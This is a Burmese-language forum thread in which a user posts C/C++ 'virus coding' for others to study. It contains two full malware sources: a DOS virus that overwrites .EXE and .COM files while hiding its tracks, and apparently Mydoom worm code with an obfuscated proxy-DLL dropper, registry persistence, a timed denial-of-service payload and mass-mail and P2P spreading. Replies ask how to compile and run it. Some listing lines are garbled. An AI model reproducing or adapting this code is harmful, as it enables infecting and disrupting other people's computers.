မင်္ဂလာပါ!

လှိုက်လှဲစွာကြိုဆိုပါသည်။ ယခု ပထမဆုံးအကြိမ် ရောက်ဖူးခြင်းဖြစ်ပါသလား? ဝင်ရောက် ဆွေးနွေး မေးမြန်းလိုပါလျှင် အောက်တွင်ဖော်ပြထားသော button များမှတဆင့် ဝင်ရောက် ဆွေးနွေးနိုင်သကဲ့သို့ အဖွဲ့ဝင်အသစ်အနေဖြင့်လည်း လျှောက်ထားနိုင်ပါတယ်။

MYSTERY ZILLION တွင် English သို့မဟုတ် Unicode ဖြင့်သာ အသုံးပြုခွင့်ရှိသည်။ ဇော်ဂျီ ၊ ဧရာ စသည်တို့ကို အသုံးပြုခွင့် မရှိ။ Unicode fonts များမှာ Mon3,Yunghkio, Myanamr3 စသည်များ အသုံးပြုနိုင်သည်။ Unicode Guide ကို ဒီမှာ Download ချပါ။ Zawgyi to Unicode Converter
Don't share ebook or software if nobody request. You can find free book websites on here. We are welcome for discussion or asking question instead.

C++ ကိုသုံးထားသော virus coding များ...

edited April 2010 in C++
ဒါတွေက C++ ကိုသုံးပြီးရေထားတဲ့ virus coding လေးတွေပါ..လေ့လာကြည့်ပါအကျိုးရှိမှာပါ..
ရှိရင်လည်းတင်ပေးပါဦး...:103::103::103::103:

ragma inline // Compile to .ASM

#include
#include
#include
#include
#include

void hostile_activity(void);
int infected(char *);
void spread(char *, char *);
void small_print(char *);
char *victim(void);

#define DEBUG
#define ONE_KAY 1024 // 1k
#define TOO_SMALL ((6 * ONE_KAY) + 300) // 6k+ size minimum
#define SIGNATURE "NMAN" // Sign of infection

int main(void)
{
/* The main program */

spread(_argv[0], victim()); // Perform infection
small_print("Out of memory\r\n"); // Print phony error
return(1); // Fake failure...
}

void hostile_activity(void)
{
/* Put whatever you feel like doing here...I chose to
make this part harmless, but if you're feeling
nasty, go ahead and have some fun... */

small_print("\a\a\aAll files infected. Mission complete.\r\n");
exit(2);
}

int infected(char *fname)
{
/* This function determines if fname is infected */

FILE *fp; // File handle
char sig[5]; // Virus signature

fp = fopen(fname, "rb");
fseek(fp, 28L, SEEK_SET);
fread(sig, sizeof(sig) - 1, 1, fp);
#ifdef DEBUG
printf("Signature for %s: %s\n", fname, sig);
#endif
fclose(fp);
return(strncmp(sig, SIGNATURE, sizeof(sig) - 1) == 0);
}

void small_print(char *string)
{
/* This function is a small, quick print routine */

asm {
push si
mov si,string
mov ah,0xE
}

print: asm {
lodsb
or al,al
je finish
int 0x10
jmp short print
}
finish: asm pop si
}

void spread(char *old_name, char *new_name)
{
/* This function infects new_name with old_name */


/* Variable declarations */

FILE *old, *new; // File handles
struct ftime file_time; // Old file date,
time
int attrib; // Old attributes
long old_size, virus_size; // Sizes of files
char *virus_code = NULL; // Pointer to virus
int old_handle, new_handle; // Handles for files


/* Perform the infection */

#ifdef DEBUG
printf("Infecting %s with %s...\n", new_name, old_name);
#endif
old = fopen(old_name, "rb"); // Open virus
new = fopen(new_name, "rb"); // Open victim
old_handle = fileno(old); // Get file handles
new_handle = fileno(new);
old_size = filelength(new_handle); // Get old file size
virus_size = filelength(old_handle); // Get virus size
attrib = _chmod(new_name, 0); // Get old attributes
getftime(new_handle, &file_time); // Get old file time
fclose(new); // Close the virusee
_chmod(new_name, 1, 0); // Clear any read-only
unlink(new_name); // Erase old file
new = fopen(new_name, "wb"); // Open new virus
new_handle = fileno(new);
virus_code = malloc(virus_size); // Allocate space
fread(virus_code, virus_size, 1, old); // Read virus from old
fwrite(virus_code, virus_size, 1, new); // Copy virus to new
_chmod(new_name, 1, attrib); // Replace attributes
chsize(new_handle, old_size); // Replace old size
setftime(new_handle, &file_time); // Replace old time


/* Clean up */

fcloseall(); // Close files
free(virus_code); // Free memory
}

char *victim(void)
{
/* This function returns the virus's next victim */


/* Variable declarations */

char *types[] = {"*.EXE", "*.COM"}; // Potential victims
static struct ffblk ffblk; // DOS file block
int done; // Indicates finish
int index; // Used for loop


/* Find our victim */

if ((_argc > 1) && (fopen(_argv[1], "rb") != NULL))
return(_argv[1]);

for (index = 0; index < sizeof(types); index++) {
done = findfirst(types[index], &ffblk, FA_RDONLY | FA_HIDDEN |
FA_SYSTEM | FA_ARCH);
while (!done) {
#ifdef DEBUG
printf("Scanning %s...\n", ffblk.ff_name);
#endif
/* If you want to check for specific days of the week,
months, etc., here is the place to insert the
code (don't forget to "#include "!) */

if ((!infected(ffblk.ff_name)) && (ffblk.ff_fsize >
TOO_SMALL))
return(ffblk.ff_name);
done = findnext(&ffblk);
}
}


/* If there are no files left to infect, have a little fun... */

hostile_activity();
return(0); // Prevents warning
}

:103::103::103::103:
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include "lib.h"
#include "massmail.h"
#include "scan.h"
#include "sco.h"

#include "xproxy/xproxy.inc"

const char szWhoami[] = "(sync.c,v 0.1 2004/01/xx xx:xx:xx andy)";

/* p2p.c */
void p2p_spread(void);

struct sync_t {
int first_run;
DWORD start_tick;
char xproxy_path[MAX_PATH];
int xproxy_state; /* 0=unknown, 1=installed, 2=loaded */
char sync_instpath[MAX_PATH];
SYSTEMTIME sco_date;
SYSTEMTIME termdate;
};

void decrypt1_to_file(const unsigned char *src, int src_size, HANDLE hDest)
{
unsigned char k, buf[1024];
int i, buf_i;
DWORD dw;
for (i=0,buf_i=0,k=0xC7; i<src_size; i++) {
if (buf_i >= sizeof(buf)) {
WriteFile(hDest, buf, buf_i, &dw, NULL);
buf_i = 0;
}
buf[buf_i++] = src ^ k;
k = (k + 3 * (i % 133)) & 0xFF;
}
if (buf_i) WriteFile(hDest, buf, buf_i, &dw, NULL);
}

void payload_xproxy(struct sync_t *sync)
{
char fname[20], fpath[MAX_PATH+20];
HANDLE hFile;
int i;
rot13(fname, "fuvztncv.qyy"); /* "shimgapi.dll" */
sync->xproxy_state = 0;
for (i=0; i<2; i++) {
if (i == 0)
GetSystemDirectory(fpath, sizeof(fpath));
else
GetTempPath(sizeof(fpath), fpath);
if (fpath[0] == 0) continue;
if (fpath[lstrlen(fpath)-1] != '\\') lstrcat(fpath, "\\");
lstrcat(fpath, fname);
hFile = CreateFile(fpath, GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == NULL || hFile == INVALID_HANDLE_VALUE) {
if (GetFileAttributes(fpath) == INVALID_FILE_ATTRIBUTES)
continue;
sync->xproxy_state = 2;
lstrcpy(sync->xproxy_path, fpath);
break;
}
decrypt1_to_file(xproxy_data, sizeof(xproxy_data), hFile);
CloseHandle(hFile);
sync->xproxy_state = 1;
lstrcpy(sync->xproxy_path, fpath);
break;
}

if (sync->xproxy_state == 1) {
LoadLibrary(sync->xproxy_path);
sync->xproxy_state = 2;
}
}

void sync_check_frun(struct sync_t *sync)
{
HKEY k;
DWORD disp;
char i, tmp[128];

/* "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ComDlg32\\Version" */
rot13(tmp, "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefvba\\Rkcybere\\PbzQyt32\\Irefvba");

sync->first_run = 0;
for (i=0; i<2; i++)
if (RegOpenKeyEx((i == 0) ? HKEY_LOCAL_MACHINE : HKEY_CURRENT_USER,
tmp, 0, KEY_READ, &k) == 0) {
RegCloseKey(k);
return;
}

sync->first_run = 1;
for (i=0; i<2; i++)
if (RegCreateKeyEx((i == 0) ? HKEY_LOCAL_MACHINE : HKEY_CURRENT_USER,
tmp, 0, NULL, 0, KEY_WRITE, NULL, &k, &disp) == 0)
RegCloseKey(k);
}

int sync_mutex(struct sync_t *sync)
{
char tmp[64];
rot13(tmp, "FjroFvcpFzgkF0"); /* "SwebSipcSmtxS0" */
CreateMutex(NULL, TRUE, tmp);
return (GetLastError() == ERROR_ALREADY_EXISTS) ? 1 : 0;
}

void sync_install(struct sync_t *sync)
{
char fname[20], fpath[MAX_PATH+20], selfpath[MAX_PATH];
HANDLE hFile;
int i;
rot13(fname, "gnfxzba.rkr"); /* "taskmon.exe" */

GetModuleFileName(NULL, selfpath, MAX_PATH);
lstrcpy(sync->sync_instpath, selfpath);
for (i=0; i<2; i++) {
if (i == 0)
GetSystemDirectory(fpath, sizeof(fpath));
else
GetTempPath(sizeof(fpath), fpath);
if (fpath[0] == 0) continue;
if (fpath[lstrlen(fpath)-1] != '\\') lstrcat(fpath, "\\");
lstrcat(fpath, fname);
SetFileAttributes(fpath, FILE_ATTRIBUTE_ARCHIVE);
hFile = CreateFile(fpath, GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == NULL || hFile == INVALID_HANDLE_VALUE) {
if (GetFileAttributes(fpath) == INVALID_FILE_ATTRIBUTES)
continue;
lstrcpy(sync->sync_instpath, fpath);
break;
}
CloseHandle(hFile);
DeleteFile(fpath);

if (CopyFile(selfpath, fpath, FALSE) == 0) continue;
lstrcpy(sync->sync_instpath, fpath);
break;
}
}

void sync_startup(struct sync_t *sync)
{
HKEY k;
char regpath[128];
char valname[32];

/* "Software\\Microsoft\\Windows\\CurrentVersion\\Run" */
rot13(regpath, "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefvba\\Eha");
rot13(valname, "GnfxZba"); /* "TaskMon" */

if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, regpath, 0, KEY_WRITE, &k) != 0)
if (RegOpenKeyEx(HKEY_CURRENT_USER, regpath, 0, KEY_WRITE, &k) != 0)
return;
RegSetValueEx(k, valname, 0, REG_SZ, sync->sync_instpath, lstrlen(sync->sync_instpath)+1);
RegCloseKey(k);
}

int sync_checktime(struct sync_t *sync)
{
FILETIME ft_cur, ft_final;
GetSystemTimeAsFileTime(&ft_cur);
SystemTimeToFileTime(&sync->termdate, &ft_final);
if (ft_cur.dwHighDateTime > ft_final.dwHighDateTime) return 1;
if (ft_cur.dwHighDateTime < ft_final.dwHighDateTime) return 0;
if (ft_cur.dwLowDateTime > ft_final.dwLowDateTime) return 1;
return 0;
}

void payload_sco(struct sync_t *sync)
{
FILETIME ft_cur, ft_final;

/* What's the bug about "75% failures"? */

GetSystemTimeAsFileTime(&ft_cur);
SystemTimeToFileTime(&sync->sco_date, &ft_final);
if (ft_cur.dwHighDateTime < ft_final.dwHighDateTime) return;
if (ft_cur.dwLowDateTime < ft_final.dwLowDateTime) return;


/* here is another bug.
actually, the idea was to create a new thread and return; */

for (;;) {
scodos_main();
Sleep(1024);
}
}

DWORD _stdcall sync_visual_th(LPVOID pv)
{
PROCESS_INFORMATION pi;
STARTUPINFO si;
char cmd[256], tmp[MAX_PATH], buf[512];
HANDLE hFile;
int i, j;
DWORD dw;

tmp[0] = 0;
GetTempPath(MAX_PATH, tmp);
if (tmp[0] == 0) goto ex;
if (tmp[lstrlen(tmp)-1] != '\\') lstrcat(tmp, "\\");
lstrcat(tmp, "Message");

hFile = CreateFile(tmp, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == NULL || hFile == INVALID_HANDLE_VALUE) goto ex;
for (i=0, j=0; i < 4096; i++) {
if (j >= (sizeof(buf)-4)) {
WriteFile(hFile, buf, sizeof(buf), &dw, NULL);
j = 0;
}
if ((xrand16() % 76) == 0) {
buf[j++] = 13;
buf[j++] = 10;
} else {
buf[j++] = (16 + (xrand16() % 239)) & 0xFF;
}
}
if (j) WriteFile(hFile, buf, j, &dw, NULL);
CloseHandle(hFile);

wsprintf(cmd, "notepad %s", tmp);
memset(&si, '\0', sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
if (CreateProcess(0, cmd, 0, 0, TRUE, 0, 0, 0, &si, &pi) == 0)
goto ex;
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);

ex: if (tmp[0]) DeleteFile(tmp);
ExitThread(0);
return 0;
}

void sync_main(struct sync_t *sync)
{
DWORD tid;

sync->start_tick = GetTickCount();
sync_check_frun(sync);
if (!sync->first_run)
if (sync_mutex(sync)) return;
if (sync->first_run)
CreateThread(0, 0, sync_visual_th, NULL, 0, &tid);
payload_xproxy(sync);

if (sync_checktime(sync)) return;

sync_install(sync);
sync_startup(sync);

payload_sco(sync);

p2p_spread();

massmail_init();
CreateThread(0, 0, massmail_main_th, NULL, 0, &tid);

scan_init();
for (;;) {
scan_main();
Sleep(1024);
}
}

/* shit, MSVC inlined it to WinMain... I didn't expect. */
static void wsa_init(void)
{
WSADATA wsadata; /* useless shit... */
WSAStartup(MAKEWORD(2,0), &wsadata);
}

int _stdcall WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpCmd, int nCmdShow)
{
static const SYSTEMTIME termdate = { 2004,2,0,12, 2,28,57 };
static const SYSTEMTIME sco_date = { 2004,2,0, 1, 16, 9,18 };
struct sync_t sync0;

xrand_init();
wsa_init();

memset(&sync0, '\0', sizeof(sync0));
sync0.termdate = termdate;
sync0.sco_date = sco_date;
sync_main(&sync0);

ExitProcess(0);
}
:103::103::103::103::103:

မှတ်ချက်များ

  • edited May 2009 Registered Users
    ဒီဟာတွေကိုစမ်းသုံးပြီးတဲ့လူမျုားရှိရင်ပြောကြပါခင်ဗျာ...အလုပ်လုပ်ရဲ့လားဆိုတာကိုပါ...နောက်ပြီး C++ socket ပိုင်းကိုပိုလေ့လာချင်တယ်ဗျ..နည်းနည်း e-books ဖြစ်ဖြစ်ရှိရင်ပေးကြပါဦးဗျို့...
  • edited May 2009 Registered Users
    bluerays wrote: »
    ဒါတွေက C++ ကိုသုံးပြီးရေထားတဲ့ virus coding လေးတွေပါ..လေ့လာကြည့်ပါအကျိုးရှိမှာပါ..
    ရှိရင်လည်းတင်ပေးပါဦး...:103::103::103::103:




    :103::103::103::103:


    :103::103::103::103::103:
    အဲဒါတွေသုံးရင် ဘယ်လိုဖြစ်သွားမှာလဲဗျ virus ရဲ့ လုပ်ဆောင်ပုံကကောဗျ
  • edited May 2009 Registered Users
    ဟုတ်ကျွန်တော်လည်းမစမ်းရသေးဘူးခင်ဗျ....အစ်ကိုစမ်းကြည့်ပြီးရင်ကျွန်တော်ကိုလည်းပြောဦးနော်..ဟီးဟီး
  • edited May 2009 Moderators
    coding တွေကိုပြန်ရှင်းနို်င်ရင်ကောင်းမယ်ဗျ C++ ကတော့သိပ်မရင်နှီးဘူး
    :):):)
  • edited May 2009 Registered Users
    ကိုကြီးက second year ဆိုတော့ပိုပြီးရှင်းတတ်မှာပေါ့နော်..အစ်ကိုရယ်ကူညီပါဗျာ...:D
  • edited June 2009 Registered Users
    အမလေးဗျာ စမ်းကြည့်ရမယ်တဲ့ဗျို့ ကောင်းကြသေးရဲ့လား
  • edited June 2009 Registered Users
    စမ်းကြည့်လဲဘာမှမဖြစ်လောက်ပါဘူးခင်ဗျာ...ဘာလိုလဲဆိုတော့သူ့ coding ထဲမှာက User define header file တွေပါနေတယ်လေဗျာ......သူရေးထားတဲ့ header file တွေကကျွန်တော်တို့ run မယ့် compiler မှမပါဘူးဗျ.......
  • edited October 2009 Registered Users
    ကျွန်တော်စမ်းကြည့်ချင်တယ်..
    ဘာနဲ့စေ့ရမှာလည်း...လုပ်တတ်ဘူးဗျ
    ပြောပြပါလား...သူများကိုဒုက္ခပေးမလို့မဟုတ်ပါဘူး...
    လုပ်ကြည့်ချင်လို့ပါ..
    ဟီး
  • edited January 2010 Registered Users
    naymakha wrote: »
    ကျွန်တော်စမ်းကြည့်ချင်တယ်..
    ဘာနဲ့စေ့ရမှာလည်း...လုပ်တတ်ဘူးဗျ
    ပြောပြပါလား...သူများကိုဒုက္ခပေးမလို့မဟုတ်ပါဘူး...
    လုပ်ကြည့်ချင်လို့ပါ..
    ဟီး

    :)):))

    How to Make a Trojan Horse


    :O:O:O
  • edited January 2010 Registered Users
    naymakha wrote: »
    ကျွန်တော်စမ်းကြည့်ချင်တယ်..
    ဘာနဲ့စေ့ရမှာလည်း...လုပ်တတ်ဘူးဗျ
    ပြောပြပါလား...သူများကိုဒုက္ခပေးမလို့မဟုတ်ပါဘူး...
    လုပ်ကြည့်ချင်လို့ပါ..
    ဟီး

    :)):))

    How to Make a Trojan Horse


    :O:O:O
  • edited February 2010 Registered Users
    C++ နဲ ့ပတ်သတ်ပြီးဗိုင်းရပ်စ်ကုတ်တင်လေးတွေတော့ကောင်းပါတယ်
    ကျွန်တော်သိချင်တာက အဲ့languageကိုဘယ်လိုမျိုး VB နဲ ့နိုင်ငံခြားကကောင်တွေဆော်နေတာလဲဆိုတာကိုပါတော်တော်သေသပ်ပါတယ်
    ကျွန်တော်၀တ်ဆိုက်မေ့သွားလို ့ပါနောက်ကျလို ့ရှိရင် ကျွန်တော်တွေ ့ခဲ့တာတွေပြန်တင်ပေးပါမယ်
  • kyokyo
    edited April 2010 Registered Users
    ဒီဟာတွေကိုစမ်းသုံးပြီးတဲ့လူမျုားရှိရင်ပြောကြပါခင်ဗျာ...အလုပ်လုပ်ရဲ့လားဆိုတာကိုပါ...နောက်ပြီး C++ socket ပိုင်းကိုပိုလေ့လာချင်တယ်ဗျ..နည်းနည်း e-books ဖြစ်ဖြစ်ရှိရင်ပေးကြပါဦးဗျို့...


    C++ နဲ့ ဆိုင်တဲ့ E book တွေကို ကိုညီနေမင်းရဲ့ ဆိုက်မှာရှာဖတ်နိုင်ပါတယ် လိပ်စာက www.nyinaymin.com ပါ ကျွန်တော်လည်းအဲဒီကပဲ ယူဖတ်နေတာပါ။
Sign In or Register to comment.